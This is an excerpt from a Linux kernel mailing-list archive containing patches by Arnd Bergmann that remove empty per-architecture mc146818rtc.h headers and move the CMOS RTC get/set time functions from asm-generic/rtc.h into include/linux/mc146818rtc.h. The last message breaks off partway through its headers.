 delete mode 100644 arch/sh/include/asm/mc146818rtc.h

diff --git a/arch/frv/include/asm/mc146818rtc.h b/arch/frv/include/asm/mc146818rtc.h
deleted file mode 100644
index 90dfb7a633d1..000000000000
--- a/arch/frv/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,16 +0,0 @@
-/* mc146818rtc.h: RTC defs
- *
- * Copyright (C) 2005 Red Hat, Inc. All Rights Reserved.
- * Written by David Howells (dhowells@redhat.com)
- *
- * This program is free software; you can redistribute it and/or
- * modify it under the terms of the GNU General Public License
- * as published by the Free Software Foundation; either version
- * 2 of the License, or (at your option) any later version.
- */
-
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-
-#endif /* _ASM_MC146818RTC_H */
diff --git a/arch/h8300/include/asm/mc146818rtc.h b/arch/h8300/include/asm/mc146818rtc.h
deleted file mode 100644
index ab9d9646d241..000000000000
--- a/arch/h8300/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _H8300_MC146818RTC_H
-#define _H8300_MC146818RTC_H
-
-/* empty include file to satisfy the include in genrtc.c/ide-geometry.c */
-
-#endif /* _H8300_MC146818RTC_H */
diff --git a/arch/ia64/include/asm/mc146818rtc.h b/arch/ia64/include/asm/mc146818rtc.h
deleted file mode 100644
index 407787a237ba..000000000000
--- a/arch/ia64/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#ifndef _ASM_IA64_MC146818RTC_H
-#define _ASM_IA64_MC146818RTC_H
-
-/*
- * Machine dependent access functions for RTC registers.
- */
-
-/* empty include file to satisfy the include in genrtc.c */
-
-#endif /* _ASM_IA64_MC146818RTC_H */
diff --git a/arch/parisc/include/asm/mc146818rtc.h b/arch/parisc/include/asm/mc146818rtc.h
deleted file mode 100644
index adf41631449f..000000000000
--- a/arch/parisc/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,9 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-/* empty include file to satisfy the include in genrtc.c */
-
-#endif /* _ASM_MC146818RTC_H */
diff --git a/arch/sh/include/asm/mc146818rtc.h b/arch/sh/include/asm/mc146818rtc.h
deleted file mode 100644
index 0aee96a97330..000000000000
--- a/arch/sh/include/asm/mc146818rtc.h
+++ /dev/null
@@ -1,7 +0,0 @@
-/*
- * Machine dependent access functions for RTC registers.
- */
-#ifndef _ASM_MC146818RTC_H
-#define _ASM_MC146818RTC_H
-
-#endif /* _ASM_MC146818RTC_H */
-- 
2.7.0



From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 02/16] rtc: cmos: move mc146818rtc code out of asm-generic/rtc.h
Date: Thu, 28 Apr 2016 00:34:16 +0200
Lines: 567
Approved: news@gmane.org
Message-ID: <1461796470-1291527-3-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796594 23887 80.91.229.3 (27 Apr 2016 22:36:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:36:34 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-sh-owner@vger.kernel.org Thu Apr 28 00:36:31 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1avY4L-0005AE-HY
	for glps-linuxsh-dev@plane.gmane.org; Thu, 28 Apr 2016 00:36:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754069AbcD0WgH (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 27 Apr 2016 18:36:07 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.73]:55457 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753862AbcD0WgA (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 27 Apr 2016 18:36:00 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LoqDL-1bbjM30yB1-00gm2t; Thu, 28 Apr
 2016 00:34:48 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:SfGJpr2EnAOmvWDaaSNdv9KkmBVnGnEv017FRLLlH9FyoBghQuB
 rQfBf7u5F09rTkZoAl8OOib/oJFjlaLcVFB8aLme80iz4tmEWOQ0tWCCQJuoS7Be050B/1O
 G4Vmvpbgyg9w4BZt1jXU89Z2NMth7KhPgeUYOPSMVHsajUKuZnOp1CdEb4+jztKh10hkepc
 nMM76mOb2iUeYu5hEUTVQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:dm+boJ9+kZg=:e+tQINJc4bk7Vg1oIPSNcu
 0kRtbnBcTXAM6/CVm2vm23Ot5QTfWqIcRuQTHrTRavJ7vLFlylZ7ckmDcXvdz5xnvMO6NgI/W
 wNT1kPiKoooyibilajSvdZ3Cy5b7sRUjCnZrjHowtoLiuzbvXhhD9RgYzIcim0C2sdTMXekxv
 7PwlDMrUXlfDee+Tc4Zi2egYuZsC1CtK8sQQ5GFMCyg95Sgn1dV/Fsx0nFqJNo0M01bhj3/mH
 Uk4Lqts+dKpz5YjUUCt/8sNZKeVdsyhTf4L3B/6Bl8qOKznBkCpzqTDECj3GIFY1jbdEoT5hH
 wb7WikoCZGMpWStYYJNT6c/dM+QYx60JZ4BhubXaLhloSMa3Qv0VelSuuInem3P+oxm1vhOQt
 MwtqrWGB4XF5Tyk1VNm/wYVZOCjoo4UirxPcheNgpNIzrROOjsgtDIdF+Ktdpn6QvA+ydZDPZ
 mhir3a+EpzF0AsWolReW73cqlPek3wiCsrvu6Kkc+2T4HElnUmKg1rBQvRQ4+YCfW5NWRJIFy
 JIswLnqUxbBHCr6sBrFPJtczUjGaVXbw2isIsoAXpW8I5mfV37L8o4HLTZW3YOA1cff5sgL1s
 OgSDAWhKqkd9kHEHRLb1BRha7NYRcWe+tvs5+kqrKz5asA2A5ihHuJ5e20Yn7cdtID0thbDjA
 k8YH6Hs4kl6i+mu54yV5oFFuHQxVIwLnybDL6xtHuWPI/ooqG7+nJlnh1K4fSjax3SyE=
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53869 gmane.linux.ports.alpha:3683 gmane.linux.kernel:2210018 gmane.linux.ports.parisc:26711 gmane.linux.ports.ppc64.devel:126514 gmane.linux.kernel.cross-arch:31795
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53869>

Drivers should not really include stuff from asm-generic directly,
and the PC-style cmos rtc driver does this in order to reuse the
mc146818 implementation of get_rtc_time/set_rtc_time rather than
the architecture specific one for the architecture it gets built for.

To make it more obvious what is going on, this moves and renames the
two functions into include/linux/mc146818rtc.h, which holds the
other mc146818 specific code. Ideally it would be in a .c file,
but that would require extra infrastructure as the functions are
called by multiple drivers with conflicting dependencies.

With this change, the asm-generic/rtc.h header also becomes much
more generic, so it can be reused more easily across any architecture
that still relies on the genrtc driver.

The only caller of the internal __get_rtc_time/__set_rtc_time
functions is in arch/alpha/kernel/rtc.c, and we just change those
over to the new naming.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Alexandre Belloni <alexandre.belloni@free-electrons.com>
---
 arch/alpha/kernel/rtc.c            |   6 +-
 arch/x86/include/asm/mc146818rtc.h |   1 -
 drivers/rtc/rtc-cmos.c             |  12 +--
 include/asm-generic/rtc.h          | 206 +------------------------------------
 include/linux/mc146818rtc.h        | 194 ++++++++++++++++++++++++++++++++++
 5 files changed, 207 insertions(+), 212 deletions(-)

diff --git a/arch/alpha/kernel/rtc.c b/arch/alpha/kernel/rtc.c
index f535a3fd0f60..ceed68c7500b 100644
--- a/arch/alpha/kernel/rtc.c
+++ b/arch/alpha/kernel/rtc.c
@@ -15,8 +15,6 @@
 #include <linux/rtc.h>
 #include <linux/platform_device.h>
 
-#include <asm/rtc.h>
-
 #include "proto.h"
 
 
@@ -81,7 +79,7 @@ init_rtc_epoch(void)
 static int
 alpha_rtc_read_time(struct device *dev, struct rtc_time *tm)
 {
-	__get_rtc_time(tm);
+	mc146818_get_time(tm);
 
 	/* Adjust for non-default epochs.  It's easier to depend on the
 	   generic __get_rtc_time and adjust the epoch here than create
@@ -112,7 +110,7 @@ alpha_rtc_set_time(struct device *dev, struct rtc_time *tm)
 		tm = &xtm;
 	}
 
-	return __set_rtc_time(tm);
+	return mc146818_set_time(tm);
 }
 
 static int
diff --git a/arch/x86/include/asm/mc146818rtc.h b/arch/x86/include/asm/mc146818rtc.h
index 0f555cc31984..24acd9ba7837 100644
--- a/arch/x86/include/asm/mc146818rtc.h
+++ b/arch/x86/include/asm/mc146818rtc.h
@@ -6,7 +6,6 @@
 
 #include <asm/io.h>
 #include <asm/processor.h>
-#include <linux/mc146818rtc.h>
 
 #ifndef RTC_PORT
 #define RTC_PORT(x)	(0x70 + (x))
diff --git a/drivers/rtc/rtc-cmos.c b/drivers/rtc/rtc-cmos.c
index 84fb541038be..c7993f18edfa 100644
--- a/drivers/rtc/rtc-cmos.c
+++ b/drivers/rtc/rtc-cmos.c
@@ -43,7 +43,7 @@
 #include <linux/of_platform.h>
 
 /* this is for "generic access to PC-style RTC" using CMOS_READ/CMOS_WRITE */
-#include <asm-generic/rtc.h>
+#include <linux/mc146818rtc.h>
 
 struct cmos_rtc {
 	struct rtc_device	*rtc;
@@ -190,10 +190,10 @@ static inline void cmos_write_bank2(unsigned char val, unsigned char addr)
 static int cmos_read_time(struct device *dev, struct rtc_time *t)
 {
 	/* REVISIT:  if the clock has a "century" register, use
-	 * that instead of the heuristic in get_rtc_time().
+	 * that instead of the heuristic in mc146818_get_time().
 	 * That'll make Y3K compatility (year > 2070) easy!
 	 */
-	get_rtc_time(t);
+	mc146818_get_time(t);
 	return 0;
 }
 
@@ -205,7 +205,7 @@ static int cmos_set_time(struct device *dev, struct rtc_time *t)
 	 * takes effect exactly 500ms after we write the register.
 	 * (Also queueing and other delays before we get this far.)
 	 */
-	return set_rtc_time(t);
+	return mc146818_set_time(t);
 }
 
 static int cmos_read_alarm(struct device *dev, struct rtc_wkalrm *t)
@@ -1142,14 +1142,14 @@ static __init void cmos_of_init(struct platform_device *pdev)
 	if (val)
 		CMOS_WRITE(be32_to_cpup(val), RTC_FREQ_SELECT);
 
-	get_rtc_time(&time);
+	cmos_read_time(&pdev->dev, &time);
 	ret = rtc_valid_tm(&time);
 	if (ret) {
 		struct rtc_time def_time = {
 			.tm_year = 1,
 			.tm_mday = 1,
 		};
-		set_rtc_time(&def_time);
+		cmos_set_time(&pdev->dev, &def_time);
 	}
 }
 #else
diff --git a/include/asm-generic/rtc.h b/include/asm-generic/rtc.h
index 4e3b6558331e..4fcff22cd707 100644
--- a/include/asm-generic/rtc.h
+++ b/include/asm-generic/rtc.h
@@ -12,12 +12,12 @@
 #ifndef __ASM_RTC_H__
 #define __ASM_RTC_H__
 
-#include <linux/mc146818rtc.h>
 #include <linux/rtc.h>
-#include <linux/bcd.h>
-#include <linux/delay.h>
-#ifdef CONFIG_ACPI
-#include <linux/acpi.h>
+
+#ifndef get_rtc_time
+#include <linux/mc146818rtc.h>
+#define get_rtc_time mc146818_get_time
+#define set_rtc_time mc146818_set_time
 #endif
 
 #define RTC_PIE 0x40		/* periodic interrupt enable */
@@ -31,202 +31,6 @@
 #define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
 #define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
 
-/*
- * Returns true if a clock update is in progress
- */
-static inline unsigned char rtc_is_updating(void)
-{
-	unsigned char uip;
-	unsigned long flags;
-
-	spin_lock_irqsave(&rtc_lock, flags);
-	uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP);
-	spin_unlock_irqrestore(&rtc_lock, flags);
-	return uip;
-}
-
-static inline unsigned int __get_rtc_time(struct rtc_time *time)
-{
-	unsigned char ctrl;
-	unsigned long flags;
-	unsigned char century = 0;
-
-#ifdef CONFIG_MACH_DECSTATION
-	unsigned int real_year;
-#endif
-
-	/*
-	 * read RTC once any update in progress is done. The update
-	 * can take just over 2ms. We wait 20ms. There is no need to
-	 * to poll-wait (up to 1s - eeccch) for the falling edge of RTC_UIP.
-	 * If you need to know *exactly* when a second has started, enable
-	 * periodic update complete interrupts, (via ioctl) and then 
-	 * immediately read /dev/rtc which will block until you get the IRQ.
-	 * Once the read clears, read the RTC time (again via ioctl). Easy.
-	 */
-	if (rtc_is_updating())
-		mdelay(20);
-
-	/*
-	 * Only the values that we read from the RTC are set. We leave
-	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
-	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
-	 * by the RTC when initially set to a non-zero value.
-	 */
-	spin_lock_irqsave(&rtc_lock, flags);
-	time->tm_sec = CMOS_READ(RTC_SECONDS);
-	time->tm_min = CMOS_READ(RTC_MINUTES);
-	time->tm_hour = CMOS_READ(RTC_HOURS);
-	time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
-	time->tm_mon = CMOS_READ(RTC_MONTH);
-	time->tm_year = CMOS_READ(RTC_YEAR);
-#ifdef CONFIG_MACH_DECSTATION
-	real_year = CMOS_READ(RTC_DEC_YEAR);
-#endif
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century)
-		century = CMOS_READ(acpi_gbl_FADT.century);
-#endif
-	ctrl = CMOS_READ(RTC_CONTROL);
-	spin_unlock_irqrestore(&rtc_lock, flags);
-
-	if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
-	{
-		time->tm_sec = bcd2bin(time->tm_sec);
-		time->tm_min = bcd2bin(time->tm_min);
-		time->tm_hour = bcd2bin(time->tm_hour);
-		time->tm_mday = bcd2bin(time->tm_mday);
-		time->tm_mon = bcd2bin(time->tm_mon);
-		time->tm_year = bcd2bin(time->tm_year);
-		century = bcd2bin(century);
-	}
-
-#ifdef CONFIG_MACH_DECSTATION
-	time->tm_year += real_year - 72;
-#endif
-
-	if (century)
-		time->tm_year += (century - 19) * 100;
-
-	/*
-	 * Account for differences between how the RTC uses the values
-	 * and how they are defined in a struct rtc_time;
-	 */
-	if (time->tm_year <= 69)
-		time->tm_year += 100;
-
-	time->tm_mon--;
-
-	return RTC_24H;
-}
-
-#ifndef get_rtc_time
-#define get_rtc_time	__get_rtc_time
-#endif
-
-/* Set the current date and time in the real time clock. */
-static inline int __set_rtc_time(struct rtc_time *time)
-{
-	unsigned long flags;
-	unsigned char mon, day, hrs, min, sec;
-	unsigned char save_control, save_freq_select;
-	unsigned int yrs;
-#ifdef CONFIG_MACH_DECSTATION
-	unsigned int real_yrs, leap_yr;
-#endif
-	unsigned char century = 0;
-
-	yrs = time->tm_year;
-	mon = time->tm_mon + 1;   /* tm_mon starts at zero */
-	day = time->tm_mday;
-	hrs = time->tm_hour;
-	min = time->tm_min;
-	sec = time->tm_sec;
-
-	if (yrs > 255)	/* They are unsigned */
-		return -EINVAL;
-
-	spin_lock_irqsave(&rtc_lock, flags);
-#ifdef CONFIG_MACH_DECSTATION
-	real_yrs = yrs;
-	leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) ||
-			!((yrs + 1900) % 400));
-	yrs = 72;
-
-	/*
-	 * We want to keep the year set to 73 until March
-	 * for non-leap years, so that Feb, 29th is handled
-	 * correctly.
-	 */
-	if (!leap_yr && mon < 3) {
-		real_yrs--;
-		yrs = 73;
-	}
-#endif
-
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century) {
-		century = (yrs + 1900) / 100;
-		yrs %= 100;
-	}
-#endif
-
-	/* These limits and adjustments are independent of
-	 * whether the chip is in binary mode or not.
-	 */
-	if (yrs > 169) {
-		spin_unlock_irqrestore(&rtc_lock, flags);
-		return -EINVAL;
-	}
-
-	if (yrs >= 100)
-		yrs -= 100;
-
-	if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY)
-	    || RTC_ALWAYS_BCD) {
-		sec = bin2bcd(sec);
-		min = bin2bcd(min);
-		hrs = bin2bcd(hrs);
-		day = bin2bcd(day);
-		mon = bin2bcd(mon);
-		yrs = bin2bcd(yrs);
-		century = bin2bcd(century);
-	}
-
-	save_control = CMOS_READ(RTC_CONTROL);
-	CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL);
-	save_freq_select = CMOS_READ(RTC_FREQ_SELECT);
-	CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT);
-
-#ifdef CONFIG_MACH_DECSTATION
-	CMOS_WRITE(real_yrs, RTC_DEC_YEAR);
-#endif
-	CMOS_WRITE(yrs, RTC_YEAR);
-	CMOS_WRITE(mon, RTC_MONTH);
-	CMOS_WRITE(day, RTC_DAY_OF_MONTH);
-	CMOS_WRITE(hrs, RTC_HOURS);
-	CMOS_WRITE(min, RTC_MINUTES);
-	CMOS_WRITE(sec, RTC_SECONDS);
-#ifdef CONFIG_ACPI
-	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
-	    acpi_gbl_FADT.century)
-		CMOS_WRITE(century, acpi_gbl_FADT.century);
-#endif
-
-	CMOS_WRITE(save_control, RTC_CONTROL);
-	CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT);
-
-	spin_unlock_irqrestore(&rtc_lock, flags);
-
-	return 0;
-}
-
-#ifndef set_rtc_time
-#define set_rtc_time	__set_rtc_time
-#endif
-
 static inline unsigned int get_rtc_ss(void)
 {
 	struct rtc_time h;
diff --git a/include/linux/mc146818rtc.h b/include/linux/mc146818rtc.h
index 433e0c74d643..e9e346b37846 100644
--- a/include/linux/mc146818rtc.h
+++ b/include/linux/mc146818rtc.h
@@ -14,6 +14,12 @@
 #include <asm/io.h>
 #include <linux/rtc.h>			/* get the user-level API */
 #include <asm/mc146818rtc.h>		/* register access macros */
+#include <linux/bcd.h>
+#include <linux/delay.h>
+
+#ifdef CONFIG_ACPI
+#include <linux/acpi.h>
+#endif
 
 #ifdef __KERNEL__
 #include <linux/spinlock.h>		/* spinlock_t */
@@ -120,4 +126,192 @@ struct cmos_rtc_board_info {
 #define RTC_IO_EXTENT_USED      RTC_IO_EXTENT
 #endif /* ARCH_RTC_LOCATION */
 
+/*
+ * Returns true if a clock update is in progress
+ */
+static inline unsigned char mc146818_is_updating(void)
+{
+	unsigned char uip;
+	unsigned long flags;
+
+	spin_lock_irqsave(&rtc_lock, flags);
+	uip = (CMOS_READ(RTC_FREQ_SELECT) & RTC_UIP);
+	spin_unlock_irqrestore(&rtc_lock, flags);
+	return uip;
+}
+
+static inline unsigned int mc146818_get_time(struct rtc_time *time)
+{
+	unsigned char ctrl;
+	unsigned long flags;
+	unsigned char century = 0;
+
+#ifdef CONFIG_MACH_DECSTATION
+	unsigned int real_year;
+#endif
+
+	/*
+	 * read RTC once any update in progress is done. The update
+	 * can take just over 2ms. We wait 20ms. There is no need to
+	 * to poll-wait (up to 1s - eeccch) for the falling edge of RTC_UIP.
+	 * If you need to know *exactly* when a second has started, enable
+	 * periodic update complete interrupts, (via ioctl) and then 
+	 * immediately read /dev/rtc which will block until you get the IRQ.
+	 * Once the read clears, read the RTC time (again via ioctl). Easy.
+	 */
+	if (mc146818_is_updating())
+		mdelay(20);
+
+	/*
+	 * Only the values that we read from the RTC are set. We leave
+	 * tm_wday, tm_yday and tm_isdst untouched. Even though the
+	 * RTC has RTC_DAY_OF_WEEK, we ignore it, as it is only updated
+	 * by the RTC when initially set to a non-zero value.
+	 */
+	spin_lock_irqsave(&rtc_lock, flags);
+	time->tm_sec = CMOS_READ(RTC_SECONDS);
+	time->tm_min = CMOS_READ(RTC_MINUTES);
+	time->tm_hour = CMOS_READ(RTC_HOURS);
+	time->tm_mday = CMOS_READ(RTC_DAY_OF_MONTH);
+	time->tm_mon = CMOS_READ(RTC_MONTH);
+	time->tm_year = CMOS_READ(RTC_YEAR);
+#ifdef CONFIG_MACH_DECSTATION
+	real_year = CMOS_READ(RTC_DEC_YEAR);
+#endif
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century)
+		century = CMOS_READ(acpi_gbl_FADT.century);
+#endif
+	ctrl = CMOS_READ(RTC_CONTROL);
+	spin_unlock_irqrestore(&rtc_lock, flags);
+
+	if (!(ctrl & RTC_DM_BINARY) || RTC_ALWAYS_BCD)
+	{
+		time->tm_sec = bcd2bin(time->tm_sec);
+		time->tm_min = bcd2bin(time->tm_min);
+		time->tm_hour = bcd2bin(time->tm_hour);
+		time->tm_mday = bcd2bin(time->tm_mday);
+		time->tm_mon = bcd2bin(time->tm_mon);
+		time->tm_year = bcd2bin(time->tm_year);
+		century = bcd2bin(century);
+	}
+
+#ifdef CONFIG_MACH_DECSTATION
+	time->tm_year += real_year - 72;
+#endif
+
+	if (century)
+		time->tm_year += (century - 19) * 100;
+
+	/*
+	 * Account for differences between how the RTC uses the values
+	 * and how they are defined in a struct rtc_time;
+	 */
+	if (time->tm_year <= 69)
+		time->tm_year += 100;
+
+	time->tm_mon--;
+
+	return RTC_24H;
+}
+
+/* Set the current date and time in the real time clock. */
+static inline int mc146818_set_time(struct rtc_time *time)
+{
+	unsigned long flags;
+	unsigned char mon, day, hrs, min, sec;
+	unsigned char save_control, save_freq_select;
+	unsigned int yrs;
+#ifdef CONFIG_MACH_DECSTATION
+	unsigned int real_yrs, leap_yr;
+#endif
+	unsigned char century = 0;
+
+	yrs = time->tm_year;
+	mon = time->tm_mon + 1;   /* tm_mon starts at zero */
+	day = time->tm_mday;
+	hrs = time->tm_hour;
+	min = time->tm_min;
+	sec = time->tm_sec;
+
+	if (yrs > 255)	/* They are unsigned */
+		return -EINVAL;
+
+	spin_lock_irqsave(&rtc_lock, flags);
+#ifdef CONFIG_MACH_DECSTATION
+	real_yrs = yrs;
+	leap_yr = ((!((yrs + 1900) % 4) && ((yrs + 1900) % 100)) ||
+			!((yrs + 1900) % 400));
+	yrs = 72;
+
+	/*
+	 * We want to keep the year set to 73 until March
+	 * for non-leap years, so that Feb, 29th is handled
+	 * correctly.
+	 */
+	if (!leap_yr && mon < 3) {
+		real_yrs--;
+		yrs = 73;
+	}
+#endif
+
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century) {
+		century = (yrs + 1900) / 100;
+		yrs %= 100;
+	}
+#endif
+
+	/* These limits and adjustments are independent of
+	 * whether the chip is in binary mode or not.
+	 */
+	if (yrs > 169) {
+		spin_unlock_irqrestore(&rtc_lock, flags);
+		return -EINVAL;
+	}
+
+	if (yrs >= 100)
+		yrs -= 100;
+
+	if (!(CMOS_READ(RTC_CONTROL) & RTC_DM_BINARY)
+	    || RTC_ALWAYS_BCD) {
+		sec = bin2bcd(sec);
+		min = bin2bcd(min);
+		hrs = bin2bcd(hrs);
+		day = bin2bcd(day);
+		mon = bin2bcd(mon);
+		yrs = bin2bcd(yrs);
+		century = bin2bcd(century);
+	}
+
+	save_control = CMOS_READ(RTC_CONTROL);
+	CMOS_WRITE((save_control|RTC_SET), RTC_CONTROL);
+	save_freq_select = CMOS_READ(RTC_FREQ_SELECT);
+	CMOS_WRITE((save_freq_select|RTC_DIV_RESET2), RTC_FREQ_SELECT);
+
+#ifdef CONFIG_MACH_DECSTATION
+	CMOS_WRITE(real_yrs, RTC_DEC_YEAR);
+#endif
+	CMOS_WRITE(yrs, RTC_YEAR);
+	CMOS_WRITE(mon, RTC_MONTH);
+	CMOS_WRITE(day, RTC_DAY_OF_MONTH);
+	CMOS_WRITE(hrs, RTC_HOURS);
+	CMOS_WRITE(min, RTC_MINUTES);
+	CMOS_WRITE(sec, RTC_SECONDS);
+#ifdef CONFIG_ACPI
+	if (acpi_gbl_FADT.header.revision >= FADT2_REVISION_ID &&
+	    acpi_gbl_FADT.century)
+		CMOS_WRITE(century, acpi_gbl_FADT.century);
+#endif
+
+	CMOS_WRITE(save_control, RTC_CONTROL);
+	CMOS_WRITE(save_freq_select, RTC_FREQ_SELECT);
+
+	spin_unlock_irqrestore(&rtc_lock, flags);
+
+	return 0;
+}
+
 #endif /* _MC146818RTC_H */
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 15/16] char/genrtc: remove asm-generic/rtc.h from mips
Date: Thu, 28 Apr 2016 00:34:29 +0200
Lines: 29
Approved: news@gmane.org
Message-ID: <1461796470-1291527-16-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796606 24053 80.91.229.3 (27 Apr 2016 22:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:36:46 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 28 00:36:44 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avY4Y-0005AE-Qz
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Apr 2016 00:36:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753985AbcD0Wgl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2016 18:36:41 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.75]:50508 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753869AbcD0Wf5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2016 18:35:57 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LalbM-1bOExr1l3w-00kOo4; Thu, 28 Apr
 2016 00:34:55 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:zDwCZH/Jldz4mbS1VtQu4VeIy0uN0ICQSu66caamLNdeEVJDJnX
 1GsRY8UBwSGsgSRYoTgIF1P7unfvwbZhfhncUPn/bdmczUSHZwZ4n9tVbT3AqmPb3OAtU7A
 1RX++NfylTddzesxNcRUMPRUOQkic5kdRUKYGkf9UwAYo99/TRvJbFQ0XaJarwuRpjUU+AE
 UmQh8mlR7WB/Z6f8uy24Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ue0XjzFFvX8=:j/F0DRPAZBC/2DtiKeW0SY
 RzBVGuPBWUeQ3VUfzdYkUOhDV64gCu9+g97cVlN+8Iz1RseScm5FRQzhNzoUg9ri6SU0Wr0dS
